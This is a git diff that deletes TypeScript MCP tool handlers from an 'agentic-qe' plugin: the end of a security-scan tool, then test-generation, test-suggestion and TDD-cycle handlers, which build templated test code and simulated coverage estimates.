- 'CWE-209': ['owasp-top-10'],
- };
- return mapping[cweId] || ['owasp-top-10'];
-}
-
-function getDepthRules(depth: string): number {
- const rules: Record<string, number> = { quick: 50, standard: 150, deep: 300 };
- return rules[depth] || 150;
-}
-
-// Export tool definition for MCP registration
-export const toolDefinition = {
- name: 'aqe/security-scan',
- description: 'SAST/DAST security scanning with compliance checking and remediation guidance',
- category: 'security-compliance',
- version: '3.2.3',
- inputSchema: SecurityScanInputSchema,
- handler,
-};
-
-export default toolDefinition;
diff --git a/v3/plugins/agentic-qe/src/tools/test-generation/generate-tests.ts b/v3/plugins/agentic-qe/src/tools/test-generation/generate-tests.ts
deleted file mode 100644
index 7f9ecd1c70..0000000000
--- a/v3/plugins/agentic-qe/src/tools/test-generation/generate-tests.ts
+++ /dev/null
@@ -1,520 +0,0 @@
-/**
- * generate-tests.ts - AI-powered test generation MCP tool handler
- *
- * Generates tests for code using AI-powered test generation with support
- * for multiple test types (unit, integration, E2E, property, mutation, fuzz)
- * and frameworks (vitest, jest, mocha, pytest, junit).
- */
-
-import { z } from 'zod';
-
-// Input schema for generate-tests tool
-export const GenerateTestsInputSchema = z.object({
- targetPath: z.string().describe('Path to file/directory to test'),
- testType: z
- .enum(['unit', 'integration', 'e2e', 'property', 'mutation', 'fuzz'])
- .default('unit')
- .describe('Type of test to generate'),
- framework: z
- .enum(['vitest', 'jest', 'mocha', 'pytest', 'junit'])
- .optional()
- .describe('Test framework to use'),
- coverage: z
- .object({
- target: z.number().min(0).max(100).default(80).describe('Target coverage %'),
- focusGaps: z.boolean().default(true).describe('Focus on coverage gaps'),
- })
- .optional()
- .describe('Coverage configuration'),
- style: z
- .enum(['tdd-london', 'tdd-chicago', 'bdd', 'example-based'])
- .default('tdd-london')
- .describe('Test style methodology'),
- language: z
- .enum(['typescript', 'javascript', 'python', 'java', 'go', 'rust'])
- .optional()
- .describe('Programming language (auto-detected if not specified)'),
- includeEdgeCases: z.boolean().default(true).describe('Generate edge case tests'),
- includeMocks: z.boolean().default(true).describe('Generate mocks/stubs'),
- maxTests: z.number().min(1).max(100).default(20).describe('Maximum tests to generate'),
-});
-
-export type GenerateTestsInput = z.infer<typeof GenerateTestsInputSchema>;
-
-// Output structure
-export interface GenerateTestsOutput {
- success: boolean;
- testFile: string;
- tests: GeneratedTest[];
- coverage: CoverageEstimate;
- metadata: TestGenerationMetadata;
-}
-
-export interface GeneratedTest {
- name: string;
- type: 'unit' | 'integration' | 'e2e' | 'property' | 'mutation' | 'fuzz';
- description: string;
- code: string;
- targetFunction?: string;
- targetClass?: string;
- edgeCase: boolean;
- assertions: number;
-}
-
-export interface CoverageEstimate {
- lineCoverage: number;
- branchCoverage: number;
- functionCoverage: number;
- uncoveredLines: number[];
- gaps: CoverageGap[];
-}
-
-export interface CoverageGap {
- type: 'line' | 'branch' | 'function';
- location: string;
- reason: string;
- priority: 'low' | 'medium' | 'high';
-}
-
-export interface TestGenerationMetadata {
- generatedAt: string;
- framework: string;
- style: string;
- totalTests: number;
- executionTimeMs: number;
- modelUsed: string;
- tokensUsed: number;
-}
-
-// Tool context interface
-export interface ToolContext {
- get<T>(key: string): T | undefined;
-}
-
-/**
- * MCP Tool Handler for generate-tests
- */
-export async function handler(
- input: GenerateTestsInput,
- context: ToolContext
-): Promise<{ content: Array<{ type: 'text'; text: string }> }> {
- const startTime = Date.now();
-
- try {
- // Validate input
- const validatedInput = GenerateTestsInputSchema.parse(input);
-
- // Get bridge from context (would be set by plugin initialization)
- const bridge = context.get<{ searchSimilarPatterns: (q: string, k: number) => Promise<unknown[]> }>('aqe.bridge');
-
- // Detect language from file extension if not specified
- const language = validatedInput.language || detectLanguage(validatedInput.targetPath);
-
- // Determine framework based on language if not specified
- const framework = validatedInput.framework || getDefaultFramework(language);
-
- // Generate tests based on configuration
- const generatedTests = await generateTests({
- targetPath: validatedInput.targetPath,
- testType: validatedInput.testType,
- framework,
- style: validatedInput.style,
- language,
- includeEdgeCases: validatedInput.includeEdgeCases,
- includeMocks: validatedInput.includeMocks,
- maxTests: validatedInput.maxTests,
- coverageTarget: validatedInput.coverage?.target ?? 80,
- focusGaps: validatedInput.coverage?.focusGaps ?? true,
- bridge,
- });
-
- // Build result
- const result: GenerateTestsOutput = {
- success: true,
- testFile: getTestFilePath(validatedInput.targetPath, framework),
- tests: generatedTests.tests,
- coverage: generatedTests.coverageEstimate,
- metadata: {
- generatedAt: new Date().toISOString(),
- framework,
- style: validatedInput.style,
- totalTests: generatedTests.tests.length,
- executionTimeMs: Date.now() - startTime,
- modelUsed: generatedTests.modelUsed,
- tokensUsed: generatedTests.tokensUsed,
- },
- };
-
- return {
- content: [
- {
- type: 'text',
- text: JSON.stringify(result, null, 2),
- },
- ],
- };
- } catch (error) {
- const errorMessage = error instanceof Error ? error.message : 'Unknown error';
- return {
- content: [
- {
- type: 'text',
- text: JSON.stringify(
- {
- success: false,
- error: errorMessage,
- metadata: {
- generatedAt: new Date().toISOString(),
- executionTimeMs: Date.now() - startTime,
- },
- },
- null,
- 2
- ),
- },
- ],
- };
- }
-}
-
-// Helper functions
-
-function detectLanguage(filePath: string): string {
- const ext = filePath.split('.').pop()?.toLowerCase();
- const langMap: Record<string, string> = {
- ts: 'typescript',
- tsx: 'typescript',
- js: 'javascript',
- jsx: 'javascript',
- py: 'python',
- java: 'java',
- go: 'go',
- rs: 'rust',
- };
- return langMap[ext || ''] || 'typescript';
-}
-
-function getDefaultFramework(language: string): string {
- const frameworkMap: Record<string, string> = {
- typescript: 'vitest',
- javascript: 'jest',
- python: 'pytest',
- java: 'junit',
- go: 'go-test',
- rust: 'cargo-test',
- };
- return frameworkMap[language] || 'vitest';
-}
-
-function getTestFilePath(sourcePath: string, framework: string): string {
- const pathParts = sourcePath.split('/');
- const fileName = pathParts.pop() || 'unknown';
- const baseName = fileName.replace(/\.[^.]+$/, '');
-
- const testSuffix = framework === 'pytest' ? '_test' : '.test';
- const ext = framework === 'pytest' ? '.py' : '.ts';
-
- return [...pathParts, '__tests__', `${baseName}${testSuffix}${ext}`].join('/');
-}
-
-interface GenerateTestsConfig {
- targetPath: string;
- testType: string;
- framework: string;
- style: string;
- language: string;
- includeEdgeCases: boolean;
- includeMocks: boolean;
- maxTests: number;
- coverageTarget: number;
- focusGaps: boolean;
- bridge?: { searchSimilarPatterns: (q: string, k: number) => Promise<unknown[]> };
-}
-
-interface GenerateTestsResult {
- tests: GeneratedTest[];
- coverageEstimate: CoverageEstimate;
- modelUsed: string;
- tokensUsed: number;
-}
-
-async function generateTests(config: GenerateTestsConfig): Promise<GenerateTestsResult> {
- // Search for similar test patterns if bridge is available
- let patterns: unknown[] = [];
- if (config.bridge) {
- try {
- patterns = await config.bridge.searchSimilarPatterns(
- `${config.testType} test ${config.language} ${config.framework}`,
- 5
- );
- } catch {
- // Continue without patterns
- }
- }
-
- // Generate tests based on type and configuration
- const tests: GeneratedTest[] = [];
-
- // Generate based on test type
- switch (config.testType) {
- case 'unit':
- tests.push(...generateUnitTests(config));
- break;
- case 'integration':
- tests.push(...generateIntegrationTests(config));
- break;
- case 'e2e':
- tests.push(...generateE2ETests(config));
- break;
- case 'property':
- tests.push(...generatePropertyTests(config));
- break;
- case 'mutation':
- tests.push(...generateMutationTests(config));
- break;
- case 'fuzz':
- tests.push(...generateFuzzTests(config));
- break;
- }
-
- // Add edge cases if requested
- if (config.includeEdgeCases) {
- tests.push(...generateEdgeCaseTests(config, tests.length));
- }
-
- // Limit to maxTests
- const limitedTests = tests.slice(0, config.maxTests);
-
- return {
- tests: limitedTests,
- coverageEstimate: estimateCoverage(limitedTests, config.coverageTarget),
- modelUsed: patterns.length > 0 ? 'pattern-enhanced' : 'base',
- tokensUsed: estimateTokens(limitedTests),
- };
-}
-
-function generateUnitTests(config: GenerateTestsConfig): GeneratedTest[] {
- const baseName = config.targetPath.split('/').pop()?.replace(/\.[^.]+$/, '') || 'module';
-
- return [
- {
- name: `should create ${baseName} instance`,
- type: 'unit',
- description: `Verify ${baseName} can be instantiated correctly`,
- code: generateTestCode(config.framework, config.style, 'instance creation'),
- targetClass: baseName,
- edgeCase: false,
- assertions: 2,
- },
- {
- name: `should handle valid input`,
- type: 'unit',
- description: `Verify ${baseName} processes valid input correctly`,
- code: generateTestCode(config.framework, config.style, 'valid input'),
- targetFunction: 'process',
- edgeCase: false,
- assertions: 3,
- },
- {
- name: `should throw on invalid input`,
- type: 'unit',
- description: `Verify ${baseName} throws appropriate error for invalid input`,
- code: generateTestCode(config.framework, config.style, 'error handling'),
- targetFunction: 'process',
- edgeCase: true,
- assertions: 2,
- },
- ];
-}
-
-function generateIntegrationTests(config: GenerateTestsConfig): GeneratedTest[] {
- const baseName = config.targetPath.split('/').pop()?.replace(/\.[^.]+$/, '') || 'module';
-
- return [
- {
- name: `should integrate with dependencies`,
- type: 'integration',
- description: `Verify ${baseName} works with its dependencies`,
- code: generateTestCode(config.framework, config.style, 'integration'),
- edgeCase: false,
- assertions: 4,
- },
- {
- name: `should handle async operations`,
- type: 'integration',
- description: `Verify async workflows complete successfully`,
- code: generateTestCode(config.framework, config.style, 'async'),
- edgeCase: false,
- assertions: 3,
- },
- ];
-}
-
-function generateE2ETests(config: GenerateTestsConfig): GeneratedTest[] {
- return [
- {
- name: `should complete full workflow`,
- type: 'e2e',
- description: `Verify end-to-end user workflow`,
- code: generateTestCode(config.framework, config.style, 'e2e workflow'),
- edgeCase: false,
- assertions: 5,
- },
- ];
-}
-
-function generatePropertyTests(config: GenerateTestsConfig): GeneratedTest[] {
- return [
- {
- name: `should satisfy invariant properties`,
- type: 'property',
- description: `Property-based test for invariants`,
- code: generateTestCode(config.framework, config.style, 'property'),
- edgeCase: false,
- assertions: 1,
- },
- ];
-}
-
-function generateMutationTests(config: GenerateTestsConfig): GeneratedTest[] {
- return [
- {
- name: `should detect mutations`,
- type: 'mutation',
- description: `Mutation testing to verify test strength`,
- code: generateTestCode(config.framework, config.style, 'mutation'),
- edgeCase: false,
- assertions: 3,
- },
- ];
-}
-
-function generateFuzzTests(config: GenerateTestsConfig): GeneratedTest[] {
- return [
- {
- name: `should handle random input`,
- type: 'fuzz',
- description: `Fuzz testing with random input generation`,
- code: generateTestCode(config.framework, config.style, 'fuzz'),
- edgeCase: true,
- assertions: 2,
- },
- ];
-}
-
-function generateEdgeCaseTests(config: GenerateTestsConfig, existingCount: number): GeneratedTest[] {
- const maxEdgeCases = Math.min(5, config.maxTests - existingCount);
- if (maxEdgeCases <= 0) return [];
-
- const edgeCases: GeneratedTest[] = [
- {
- name: `should handle null input`,
- type: config.testType as GeneratedTest['type'],
- description: `Edge case: null input handling`,
- code: generateTestCode(config.framework, config.style, 'null'),
- edgeCase: true,
- assertions: 2,
- },
- {
- name: `should handle empty input`,
- type: config.testType as GeneratedTest['type'],
- description: `Edge case: empty input handling`,
- code: generateTestCode(config.framework, config.style, 'empty'),
- edgeCase: true,
- assertions: 2,
- },
- {
- name: `should handle boundary values`,
- type: config.testType as GeneratedTest['type'],
- description: `Edge case: boundary value testing`,
- code: generateTestCode(config.framework, config.style, 'boundary'),
- edgeCase: true,
- assertions: 3,
- },
- ];
-
- return edgeCases.slice(0, maxEdgeCases);
-}
-
-function generateTestCode(framework: string, style: string, scenario: string): string {
- const templates: Record<string, string> = {
- vitest: `import { describe, it, expect } from 'vitest';
-
-describe('${scenario}', () => {
- it('should handle ${scenario}', () => {
- // Arrange
- const input = /* test input */;
-
- // Act
- const result = /* call function */;
-
- // Assert
- expect(result).toBeDefined();
- });
-});`,
- jest: `describe('${scenario}', () => {
- it('should handle ${scenario}', () => {
- // Arrange
- const input = /* test input */;
-
- // Act
- const result = /* call function */;
-
- // Assert
- expect(result).toBeDefined();
- });
-});`,
- pytest: `import pytest
-
-def test_${scenario.replace(/\s+/g, '_')}():
- # Arrange
- input_data = None # test input
-
- # Act
- result = None # call function
-
- # Assert
- assert result is not None`,
- };
-
- return templates[framework] || templates.vitest;
-}
-
-function estimateCoverage(tests: GeneratedTest[], target: number): CoverageEstimate {
- const baselineCoverage = Math.min(tests.length * 8, 95);
- const adjustedCoverage = Math.min(baselineCoverage, target + 10);
-
- return {
- lineCoverage: adjustedCoverage,
- branchCoverage: Math.max(adjustedCoverage - 10, 0),
- functionCoverage: Math.min(adjustedCoverage + 5, 100),
- uncoveredLines: [],
- gaps:
- adjustedCoverage < target
- ? [
- {
- type: 'branch',
- location: 'error handling paths',
- reason: 'Complex branching logic not fully covered',
- priority: 'high',
- },
- ]
- : [],
- };
-}
-
-function estimateTokens(tests: GeneratedTest[]): number {
- return tests.reduce((sum, test) => sum + test.code.length / 4, 0);
-}
-
-// Export tool definition for MCP registration
-export const toolDefinition = {
- name: 'aqe/generate-tests',
- description: 'Generate tests for code using AI-powered test generation',
- category: 'test-generation',
- version: '3.2.3',
- inputSchema: GenerateTestsInputSchema,
- handler,
-};
-
-export default toolDefinition;
diff --git a/v3/plugins/agentic-qe/src/tools/test-generation/suggest-tests.ts b/v3/plugins/agentic-qe/src/tools/test-generation/suggest-tests.ts
deleted file mode 100644
index 00c6b2bd23..0000000000
--- a/v3/plugins/agentic-qe/src/tools/test-generation/suggest-tests.ts
+++ /dev/null
@@ -1,500 +0,0 @@
-/**
- * suggest-tests.ts - Coverage gap test suggestions MCP tool handler
- *
- * Analyzes existing code and coverage data to suggest tests that would
- * improve coverage in areas that matter most based on risk and complexity.
- */
-
-import { z } from 'zod';
-
-// Input schema for suggest-tests tool
-export const SuggestTestsInputSchema = z.object({
- targetPath: z.string().describe('Path to file/directory to analyze'),
- coverageReport: z.string().optional().describe('Path to existing coverage report (lcov/json)'),
- focusAreas: z
- .array(z.enum(['branches', 'functions', 'lines', 'edge-cases', 'error-handling', 'boundaries']))
- .default(['branches', 'functions'])
- .describe('Areas to focus suggestions on'),
- maxSuggestions: z.number().min(1).max(50).default(10).describe('Maximum suggestions to return'),
- priorityBy: z
- .enum(['risk', 'complexity', 'coverage-impact', 'change-frequency'])
- .default('risk')
- .describe('How to prioritize suggestions'),
- includeCode: z.boolean().default(true).describe('Include generated test code in suggestions'),
- framework: z
- .enum(['vitest', 'jest', 'mocha', 'pytest', 'junit'])
- .default('vitest')
- .describe('Test framework for generated code'),
-});
-
-export type SuggestTestsInput = z.infer<typeof SuggestTestsInputSchema>;
-
-// Output structures
-export interface SuggestTestsOutput {
- success: boolean;
- suggestions: TestSuggestion[];
- coverageAnalysis: CoverageAnalysisSummary;
- prioritization: PrioritizationInfo;
- metadata: SuggestionMetadata;
-}
-
-export interface TestSuggestion {
- id: string;
- type: 'branch' | 'function' | 'line' | 'edge-case' | 'error-handling' | 'boundary';
- priority: 'critical' | 'high' | 'medium' | 'low';
- title: string;
- description: string;
- targetLocation: CodeLocation;
- rationale: string;
- estimatedCoverageGain: number;
- complexity: 'simple' | 'moderate' | 'complex';
- testCode?: string;
- relatedTests?: string[];
-}
-
-export interface CodeLocation {
- file: string;
- startLine: number;
- endLine: number;
- functionName?: string;
- className?: string;
-}
-
-export interface CoverageAnalysisSummary {
- currentCoverage: CoverageMetrics;
- projectedCoverage: CoverageMetrics;
- uncoveredAreas: UncoveredArea[];
-}
-
-export interface CoverageMetrics {
- lines: number;
- branches: number;
- functions: number;
- statements: number;
-}
-
-export interface UncoveredArea {
- type: string;
- location: CodeLocation;
- risk: 'critical' | 'high' | 'medium' | 'low';
- reason: string;
-}
-
-export interface PrioritizationInfo {
- strategy: string;
- factors: PrioritizationFactor[];
- riskScore: number;
-}
-
-export interface PrioritizationFactor {
- name: string;
- weight: number;
- value: number;
- description: string;
-}
-
-export interface SuggestionMetadata {
- generatedAt: string;
- analysisTimeMs: number;
- filesAnalyzed: number;
- totalUncoveredLines: number;
- totalUncoveredBranches: number;
-}
-
-// Tool context interface
-export interface ToolContext {
- get<T>(key: string): T | undefined;
-}
-
-/**
- * MCP Tool Handler for suggest-tests
- */
-export async function handler(
- input: SuggestTestsInput,
- context: ToolContext
-): Promise<{ content: Array<{ type: 'text'; text: string }> }> {
- const startTime = Date.now();
-
- try {
- // Validate input
- const validatedInput = SuggestTestsInputSchema.parse(input);
-
- // Get bridge for pattern search
- const bridge = context.get<{ searchSimilarPatterns: (q: string, k: number) => Promise<unknown[]> }>('aqe.bridge');
-
- // Analyze coverage gaps
- const coverageAnalysis = await analyzeCoverageGaps(
- validatedInput.targetPath,
- validatedInput.coverageReport,
- validatedInput.focusAreas
- );
-
- // Generate prioritized suggestions
- const suggestions = await generateSuggestions(
- coverageAnalysis,
- validatedInput.priorityBy,
- validatedInput.maxSuggestions,
- validatedInput.includeCode,
- validatedInput.framework,
- bridge
- );
-
- // Calculate prioritization info
- const prioritization = calculatePrioritization(
- validatedInput.priorityBy,
- coverageAnalysis
- );
-
- // Build result
- const result: SuggestTestsOutput = {
- success: true,
- suggestions,
- coverageAnalysis: {
- currentCoverage: coverageAnalysis.current,
- projectedCoverage: calculateProjectedCoverage(
- coverageAnalysis.current,
- suggestions
- ),
- uncoveredAreas: coverageAnalysis.uncovered,
- },
- prioritization,
- metadata: {
- generatedAt: new Date().toISOString(),
- analysisTimeMs: Date.now() - startTime,
- filesAnalyzed: coverageAnalysis.filesAnalyzed,
- totalUncoveredLines: coverageAnalysis.uncoveredLines,
- totalUncoveredBranches: coverageAnalysis.uncoveredBranches,
- },
- };
-
- return {
- content: [
- {
- type: 'text',
- text: JSON.stringify(result, null, 2),
- },
- ],
- };
- } catch (error) {
- const errorMessage = error instanceof Error ? error.message : 'Unknown error';
- return {
- content: [
- {
- type: 'text',
- text: JSON.stringify(
- {
- success: false,
- error: errorMessage,
- suggestions: [],
- metadata: {
- generatedAt: new Date().toISOString(),
- analysisTimeMs: Date.now() - startTime,
- },
- },
- null,
- 2
- ),
- },
- ],
- };
- }
-}
-
-// Analysis types
-interface CoverageGapAnalysis {
- current: CoverageMetrics;
- uncovered: UncoveredArea[];
- filesAnalyzed: number;
- uncoveredLines: number;
- uncoveredBranches: number;
-}
-
-async function analyzeCoverageGaps(
- targetPath: string,
- coverageReport: string | undefined,
- focusAreas: string[]
-): Promise<CoverageGapAnalysis> {
- // Simulated coverage analysis
- // In real implementation, would parse coverage report and analyze code
-
- const uncoveredAreas: UncoveredArea[] = [];
-
- // Analyze based on focus areas
- if (focusAreas.includes('branches')) {
- uncoveredAreas.push({
- type: 'branch',
- location: {
- file: targetPath,
- startLine: 25,
- endLine: 30,
- functionName: 'processInput',
- },
- risk: 'high',
- reason: 'Error handling branch never executed',
- });
- }
-
- if (focusAreas.includes('functions')) {
- uncoveredAreas.push({
- type: 'function',
- location: {
- file: targetPath,
- startLine: 50,
- endLine: 65,
- functionName: 'validateConfig',
- },
- risk: 'medium',
- reason: 'Validation function not covered',
- });
- }
-
- if (focusAreas.includes('edge-cases')) {
- uncoveredAreas.push({
- type: 'edge-case',
- location: {
- file: targetPath,
- startLine: 80,
- endLine: 85,
- functionName: 'handleEmptyInput',
- },
- risk: 'high',
- reason: 'Empty input handling not tested',
- });
- }
-
- if (focusAreas.includes('error-handling')) {
- uncoveredAreas.push({
- type: 'error',
- location: {
- file: targetPath,
- startLine: 100,
- endLine: 110,
- functionName: 'handleError',
- },
- risk: 'critical',
- reason: 'Error handling code path not tested',
- });
- }
-
- return {
- current: {
- lines: 72,
- branches: 58,
- functions: 80,
- statements: 75,
- },
- uncovered: uncoveredAreas,
- filesAnalyzed: 1,
- uncoveredLines: 45,
- uncoveredBranches: 12,
- };
-}
-
-async function generateSuggestions(
- analysis: CoverageGapAnalysis,
- priorityBy: string,
- maxSuggestions: number,
- includeCode: boolean,
- framework: string,
- bridge?: { searchSimilarPatterns: (q: string, k: number) => Promise<unknown[]> }
-): Promise<TestSuggestion[]> {
- const suggestions: TestSuggestion[] = [];
-
- // Sort uncovered areas by priority strategy
- const sortedAreas = sortByPriority(analysis.uncovered, priorityBy);
-
- for (const area of sortedAreas.slice(0, maxSuggestions)) {
- const suggestion: TestSuggestion = {
- id: `sug-${Date.now()}-${suggestions.length}`,
- type: mapAreaType(area.type),
- priority: area.risk,
- title: generateSuggestionTitle(area),
- description: generateSuggestionDescription(area),
- targetLocation: area.location,
- rationale: area.reason,
- estimatedCoverageGain: calculateCoverageGain(area),
- complexity: assessComplexity(area),
- };
-
- if (includeCode) {
- suggestion.testCode = await generateTestCode(area, framework, bridge);
- }
-
- suggestions.push(suggestion);
- }
-
- return suggestions;
-}
-
-function sortByPriority(areas: UncoveredArea[], strategy: string): UncoveredArea[] {
- const riskOrder = { critical: 0, high: 1, medium: 2, low: 3 };
-
- switch (strategy) {
- case 'risk':
- return [...areas].sort((a, b) => riskOrder[a.risk] - riskOrder[b.risk]);
- case 'complexity':
- return [...areas].sort(
- (a, b) => (a.location.endLine - a.location.startLine) - (b.location.endLine - b.location.startLine)
- );
- case 'coverage-impact':
- return [...areas].sort(
- (a, b) => (b.location.endLine - b.location.startLine) - (a.location.endLine - a.location.startLine)
- );
- default:
- return areas;
- }
-}
-
-function mapAreaType(type: string): TestSuggestion['type'] {
- const typeMap: Record<string, TestSuggestion['type']> = {
- branch: 'branch',
- function: 'function',
- line: 'line',
- 'edge-case': 'edge-case',
- error: 'error-handling',
- boundary: 'boundary',
- };
- return typeMap[type] || 'line';
-}
-
-function generateSuggestionTitle(area: UncoveredArea): string {
- const templates: Record<string, string> = {
- branch: `Test branch coverage in ${area.location.functionName || 'code block'}`,
- function: `Add tests for ${area.location.functionName || 'function'}`,
- line: `Cover lines ${area.location.startLine}-${area.location.endLine}`,
- 'edge-case': `Test edge case: ${area.reason}`,
- error: `Test error handling in ${area.location.functionName || 'code block'}`,
- };
- return templates[area.type] || `Test ${area.type} at line ${area.location.startLine}`;
-}
-
-function generateSuggestionDescription(area: UncoveredArea): string {
- return `Add test coverage for ${area.type} at ${area.location.file}:${area.location.startLine}. ${area.reason}`;
-}
-
-function calculateCoverageGain(area: UncoveredArea): number {
- const lineCount = area.location.endLine - area.location.startLine + 1;
- // Estimate coverage gain based on line count and type
- const baseGain = Math.min(lineCount * 0.5, 5);
- const typeMultiplier: Record<string, number> = {
- branch: 1.5,
- function: 2,
- error: 1.2,
- };
- return Math.round((baseGain * (typeMultiplier[area.type] || 1)) * 10) / 10;
-}
-
-function assessComplexity(area: UncoveredArea): 'simple' | 'moderate' | 'complex' {
- const lineCount = area.location.endLine - area.location.startLine + 1;
- if (lineCount <= 5) return 'simple';
- if (lineCount <= 15) return 'moderate';
- return 'complex';
-}
-
-async function generateTestCode(
- area: UncoveredArea,
- framework: string,
- bridge?: { searchSimilarPatterns: (q: string, k: number) => Promise<unknown[]> }
-): Promise<string> {
- // Search for similar patterns if bridge available
- if (bridge) {
- try {
- await bridge.searchSimilarPatterns(`test ${area.type} ${area.location.functionName}`, 3);
- } catch {
- // Continue without patterns
- }
- }
-
- const templates: Record<string, string> = {
- vitest: `import { describe, it, expect } from 'vitest';
-import { ${area.location.functionName || 'targetFunction'} } from './${area.location.file.replace(/\.[^.]+$/, '')}';
-
-describe('${area.location.functionName || 'Target'}', () => {
- it('should ${area.reason.toLowerCase()}', () => {
- // Arrange
- const input = /* test input for ${area.type} */;
-
- // Act
- const result = ${area.location.functionName || 'targetFunction'}(input);
-
- // Assert
- expect(result).toBeDefined();
- // Add specific assertions for ${area.type}
- });
-});`,
- jest: `describe('${area.location.functionName || 'Target'}', () => {
- it('should ${area.reason.toLowerCase()}', () => {
- // Arrange
- const input = /* test input for ${area.type} */;
-
- // Act
- const result = ${area.location.functionName || 'targetFunction'}(input);
-
- // Assert
- expect(result).toBeDefined();
- });
-});`,
- };
-
- return templates[framework] || templates.vitest;
-}
-
-function calculatePrioritization(
- strategy: string,
- analysis: CoverageGapAnalysis
-): PrioritizationInfo {
- const factors: PrioritizationFactor[] = [
- {
- name: 'Risk Level',
- weight: strategy === 'risk' ? 0.5 : 0.2,
- value: analysis.uncovered.filter((a) => a.risk === 'critical' || a.risk === 'high').length / analysis.uncovered.length,
- description: 'Proportion of high-risk uncovered areas',
- },
- {
- name: 'Coverage Gap',
- weight: strategy === 'coverage-impact' ? 0.5 : 0.3,
- value: (100 - analysis.current.branches) / 100,
- description: 'Current branch coverage gap',
- },
- {
- name: 'Complexity',
- weight: strategy === 'complexity' ? 0.5 : 0.2,
- value: analysis.uncovered.reduce((sum, a) => sum + (a.location.endLine - a.location.startLine), 0) / 100,
- description: 'Relative complexity of uncovered areas',
- },
- ];
-
- const riskScore = factors.reduce((sum, f) => sum + f.weight * f.value, 0);
-
- return {
- strategy,
- factors,
- riskScore: Math.round(riskScore * 100) / 100,
- };
-}
-
-function calculateProjectedCoverage(
- current: CoverageMetrics,
- suggestions: TestSuggestion[]
-): CoverageMetrics {
- const totalGain = suggestions.reduce((sum, s) => sum + s.estimatedCoverageGain, 0);
-
- return {
- lines: Math.min(current.lines + totalGain, 100),
- branches: Math.min(current.branches + totalGain * 0.8, 100),
- functions: Math.min(current.functions + totalGain * 0.5, 100),
- statements: Math.min(current.statements + totalGain * 0.9, 100),
- };
-}
-
-// Export tool definition for MCP registration
-export const toolDefinition = {
- name: 'aqe/suggest-tests',
- description: 'Suggest tests based on coverage gaps with risk-based prioritization',
- category: 'test-generation',
- version: '3.2.3',
- inputSchema: SuggestTestsInputSchema,
- handler,
-};
-
-export default toolDefinition;
diff --git a/v3/plugins/agentic-qe/src/tools/test-generation/tdd-cycle.ts b/v3/plugins/agentic-qe/src/tools/test-generation/tdd-cycle.ts
deleted file mode 100644
index 78474b49ef..0000000000
--- a/v3/plugins/agentic-qe/src/tools/test-generation/tdd-cycle.ts
+++ /dev/null
@@ -1,557 +0,0 @@
-/**
- * tdd-cycle.ts - TDD red-green-refactor orchestration MCP tool handler
- *
- * Executes TDD cycles with 7 specialized subagents:
- * 1. requirement-analyzer - Analyzes requirements
- * 2. test-designer - Designs test cases
- * 3. red-phase-executor - Writes failing tests
- * 4. green-phase-implementer - Implements to pass tests
- * 5. refactor-advisor - Suggests refactoring improvements
- * 6. coverage-verifier - Verifies coverage targets
- * 7. cycle-coordinator - Orchestrates the cycle
- */
-
-import { z } from 'zod';
-
-// Input schema for tdd-cycle tool
-export const TDDCycleInputSchema = z.object({
- requirement: z.string().min(1).describe('Requirement/story to implement'),
- targetPath: z.string().describe('Path to implement in'),
- style: z
- .enum(['london', 'chicago'])
- .default('london')
- .describe('TDD style - London (outside-in, mocks) or Chicago (inside-out, real objects)'),
- maxCycles: z.number().min(1).max(50).default(10).describe('Maximum TDD cycles to execute'),
- framework: z
- .enum(['vitest', 'jest', 'mocha', 'pytest', 'junit'])
- .default('vitest')
- .describe('Test framework'),
- coverageTarget: z.number().min(0).max(100).default(80).describe('Target coverage percentage'),
- autoRefactor: z.boolean().default(true).describe('Automatically apply refactoring suggestions'),
- stopOnGreen: z
- .boolean()
- .default(false)
- .describe('Stop immediately when tests pass (skip refactor phase)'),
-});
-
-export type TDDCycleInput = z.infer<typeof TDDCycleInputSchema>;
-
-// TDD Cycle phases
-export type TDDPhase = 'red' | 'green' | 'refactor' | 'complete';
-
-// Output structures
-export interface TDDCycleOutput {
- success: boolean;
- cycles: TDDCycleResult[];
- finalCoverage: number;
- totalCycles: number;
- implementation: ImplementationSummary;
- agents: AgentContribution[];
- metadata: TDDMetadata;
-}
-
-export interface TDDCycleResult {
- cycleNumber: number;
- phase: TDDPhase;
- test: TestCase | null;
- implementation: string | null;
- refactoring: RefactoringSuggestion[];
- passed: boolean;
- coverage: number;
- durationMs: number;
-}
-
-export interface TestCase {
- name: string;
- description: string;
- code: string;
- assertions: string[];
-}
-
-export interface RefactoringSuggestion {
- type: 'extract-method' | 'rename' | 'simplify' | 'inline' | 'extract-class' | 'other';
- description: string;
- location: string;
- applied: boolean;
-}
-
-export interface ImplementationSummary {
- filesCreated: string[];
- filesModified: string[];
- linesOfCode: number;
- testCount: number;
- coverage: number;
-}
-
-export interface AgentContribution {
- agentId: string;
- agentType: string;
- tasksCompleted: number;
- contributions: string[];
-}
-
-export interface TDDMetadata {
- startedAt: string;
- completedAt: string;
- totalDurationMs: number;
- style: 'london' | 'chicago';
- framework: string;
- requirement: string;
-}
-
-// Tool context interface
-export interface ToolContext {
- get<T>(key: string): T | undefined;
-}
-
-// TDD Subagent definitions
-const TDD_SUBAGENTS = [
- 'requirement-analyzer',
- 'test-designer',
- 'red-phase-executor',
- 'green-phase-implementer',
- 'refactor-advisor',
- 'coverage-verifier',
- 'cycle-coordinator',
-] as const;
-
-/**
- * MCP Tool Handler for tdd-cycle
- */
-export async function handler(
- input: TDDCycleInput,
- context: ToolContext
-): Promise<{ content: Array<{ type: 'text'; text: string }> }> {
- const startTime = Date.now();
- const startedAt = new Date().toISOString();
-
- try {
- // Validate input
- const validatedInput = TDDCycleInputSchema.parse(input);
-
- // Get sandbox and bridge from context
- const sandbox = context.get<{ execute: <T>(fn: () => Promise<T>) => Promise<T> }>('aqe.sandbox');
- const bridge = context.get<unknown>('aqe.bridge');
-
- // Initialize cycle tracking
- const cycles: TDDCycleResult[] = [];
- const agentContributions: Map<string, AgentContribution> = new Map();
-
- // Initialize agent contributions
- for (const agent of TDD_SUBAGENTS) {
- agentContributions.set(agent, {
- agentId: `${agent}-${Date.now()}`,
- agentType: agent,
- tasksCompleted: 0,
- contributions: [],
- });
- }
-
- // Step 1: Analyze requirement
- const requirementAnalysis = await analyzeRequirement(
- validatedInput.requirement,
- agentContributions.get('requirement-analyzer')!
- );
-
- // Step 2: Design initial tests
- const testDesign = await designTests(
- requirementAnalysis,
- validatedInput.style,
- agentContributions.get('test-designer')!
- );
-
- // Step 3: Execute TDD cycles
- let currentCoverage = 0;
- let cycleNumber = 0;
-
- while (
- cycleNumber < validatedInput.maxCycles &&
